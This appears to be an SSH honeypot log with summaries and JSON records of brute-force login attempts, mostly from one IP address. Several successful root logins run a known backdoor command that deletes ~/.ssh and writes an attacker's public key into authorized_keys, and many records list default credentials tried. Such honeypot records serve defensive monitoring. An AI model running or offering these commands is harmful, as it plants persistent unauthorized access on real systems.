SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: b1ff3e6d0f3e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b1ff3e6d0f3e",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:25:10.251873Z",
  "end_time": "2026-05-14T20:25:11.488129Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:25:07.892524 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a87213d13345

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a87213d13345",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:25:07.892524Z",
  "end_time": "2026-05-14T20:25:10.048610Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:25:05.370975 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123abc,.

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 3f86abb7a53a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3f86abb7a53a",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:25:05.370975Z",
  "end_time": "2026-05-14T20:25:11.485158Z",
  "duration": "6.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123abc,."
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

165.154.22.233

2026-05-14 20:23:32.731283 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anna

Record ID: 066cbc089dd7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "066cbc089dd7",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:23:32.731283Z",
  "end_time": "2026-05-14T20:23:34.997043Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "anna",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.105.211.16

2026-05-14 20:23:30.076552 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0120f6a580de

Client Version: SSH-2.0-Go

Engagement Duration: 8.0s

HASSH Fingerprint: 864cef7e4d8ad71d4fb1aadfcf0a3189

{
  "id": "0120f6a580de",
  "src_ip": "109.105.211.16",
  "start_time": "2026-05-14T20:23:30.076552Z",
  "end_time": "2026-05-14T20:23:38.076308Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "864cef7e4d8ad71d4fb1aadfcf0a3189",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

165.154.22.233

2026-05-14 20:21:56.905399 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: whmapi

Record ID: 51bf990f3697

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "51bf990f3697",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:21:56.905399Z",
  "end_time": "2026-05-14T20:21:59.116043Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "whmapi",
      "pass": "YourPassword@6942"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:20:22.419039 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: linux

Record ID: 79b9ce0f3ac1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "79b9ce0f3ac1",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:20:22.419039Z",
  "end_time": "2026-05-14T20:20:24.685550Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "linux",
      "pass": "linux123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:18:53.356020 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user04

Record ID: 400e001e356f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "400e001e356f",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:18:53.356020Z",
  "end_time": "2026-05-14T20:18:55.572646Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "user04",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:17:28.565779 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 290b0a5e0131

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "290b0a5e0131",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:17:28.565779Z",
  "end_time": "2026-05-14T20:17:29.837268Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:17:26.050332 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a4e48b4c0b9c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a4e48b4c0b9c",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:17:26.050332Z",
  "end_time": "2026-05-14T20:17:28.365564Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:17:23.311250 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / linux123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: a405be3e9e2e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a405be3e9e2e",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:17:23.311250Z",
  "end_time": "2026-05-14T20:17:29.833419Z",
  "duration": "6.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "linux123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

111.74.134.86

2026-05-14 20:16:24.210649 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9e6016f054fe

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9e6016f054fe",
  "src_ip": "111.74.134.86",
  "start_time": "2026-05-14T20:16:24.210649Z",
  "end_time": "2026-05-14T20:18:24.247538Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

165.154.22.233

2026-05-14 20:15:51.851724 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kostas

Record ID: b6aef6255d4a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b6aef6255d4a",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:15:51.851724Z",
  "end_time": "2026-05-14T20:15:54.052521Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "kostas",
      "pass": "kostas"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

170.233.29.175

2026-05-14 20:14:52.204810 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian

Record ID: 2f7f72688c49

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 8.1s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "2f7f72688c49",
  "src_ip": "170.233.29.175",
  "start_time": "2026-05-14T20:14:52.204810Z",
  "end_time": "2026-05-14T20:15:00.340548Z",
  "duration": "8.1",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "debian",
      "pass": "debian4"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:14:19.885219 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web1

Record ID: 31be442f6a58

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "31be442f6a58",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:14:19.885219Z",
  "end_time": "2026-05-14T20:14:22.069910Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "web1",
      "pass": "web1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:12:54.155601 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 01bc5f404435

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "01bc5f404435",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:12:54.155601Z",
  "end_time": "2026-05-14T20:12:55.422956Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:12:51.712195 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f0730d8dd9c0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f0730d8dd9c0",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:12:51.712195Z",
  "end_time": "2026-05-14T20:12:53.953647Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

165.154.22.233

2026-05-14 20:12:49.176906 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123Qwe123C

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e02d75f5ac20

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e02d75f5ac20",
  "src_ip": "165.154.22.233",
  "start_time": "2026-05-14T20:12:49.176906Z",
  "end_time": "2026-05-14T20:12:55.419131Z",
  "duration": "6.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123Qwe123C"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}